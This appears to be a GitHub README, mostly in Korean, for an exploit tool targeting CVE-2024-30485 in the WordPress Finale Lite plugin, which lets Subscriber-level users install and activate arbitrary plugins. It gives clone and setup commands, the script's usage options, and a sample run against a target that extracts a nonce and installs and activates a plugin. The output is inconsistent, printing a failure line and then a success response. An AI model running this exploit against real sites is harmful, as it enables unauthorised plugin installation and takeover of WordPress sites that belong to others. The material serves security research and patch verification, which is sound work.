nxploited/cve-2024-30485WordPress Finale Lite 플러그인 <= 2.18.0 - Subscriber+ 임의 플러그인 설치/활성화 취약점
CVE-2024-30485는 WordPress용 Finale Lite 플러그인(버전 <= 2.18.0)에서 발견된 높은 심각도의 취약점입니다. 이 취약점으로 인해 인증된 사용자(Subscriber+)가 적절한 권한 없이 임의의 플러그인을 설치하고 활성화할 수 있습니다.
requests 및 beautifulsoup4 모듈# Clone the repository
git clone https://github.com/Nxploited/CVE-2024-30485.git
cd CVE-2024-30485
# Install dependencies
pip install -r requirements.txt
usage: CVE-2024-30485.py [-h] -u TARGET -U USERNAME -P PASSWORD [plugin]
Exploit CVE-2024-30485 - Finale Lite | # by Khaled AlEnazi
positional arguments:
plugin Plugin slug
options:
-h, --help show this help message and exit
-u TARGET, --url TARGET WordPress site URL
-U USERNAME, --username USERNAME WordPress username
-P PASSWORD, --password PASSWORD WordPress password
python3 CVE-2024-30485.py -u target -U admin -P admin -- disable-comments
[+] Target is vulnerable! Detected version: 2.18.0
[+] Logged in successfully.
[+] Extracted Nonce: 2b46e05bc0
[-] Failed to install plugin.
Server Response:
<p>Unpacking the package…</p>
<p>Installing the plugin…</p>
<p>Plugin installed successfully.</p>
</div>{"success":true,"data":"Plugin installed and activated successfully!"}
이 스크립트는 교육 및 보안 연구 목적으로만 제공됩니다. 허가 없이 시스템을 대상으로 한 무단 테스트는 불법입니다. 책임감 있게 사용하세요.
작성자: Khaled Alenazi (Nxploit)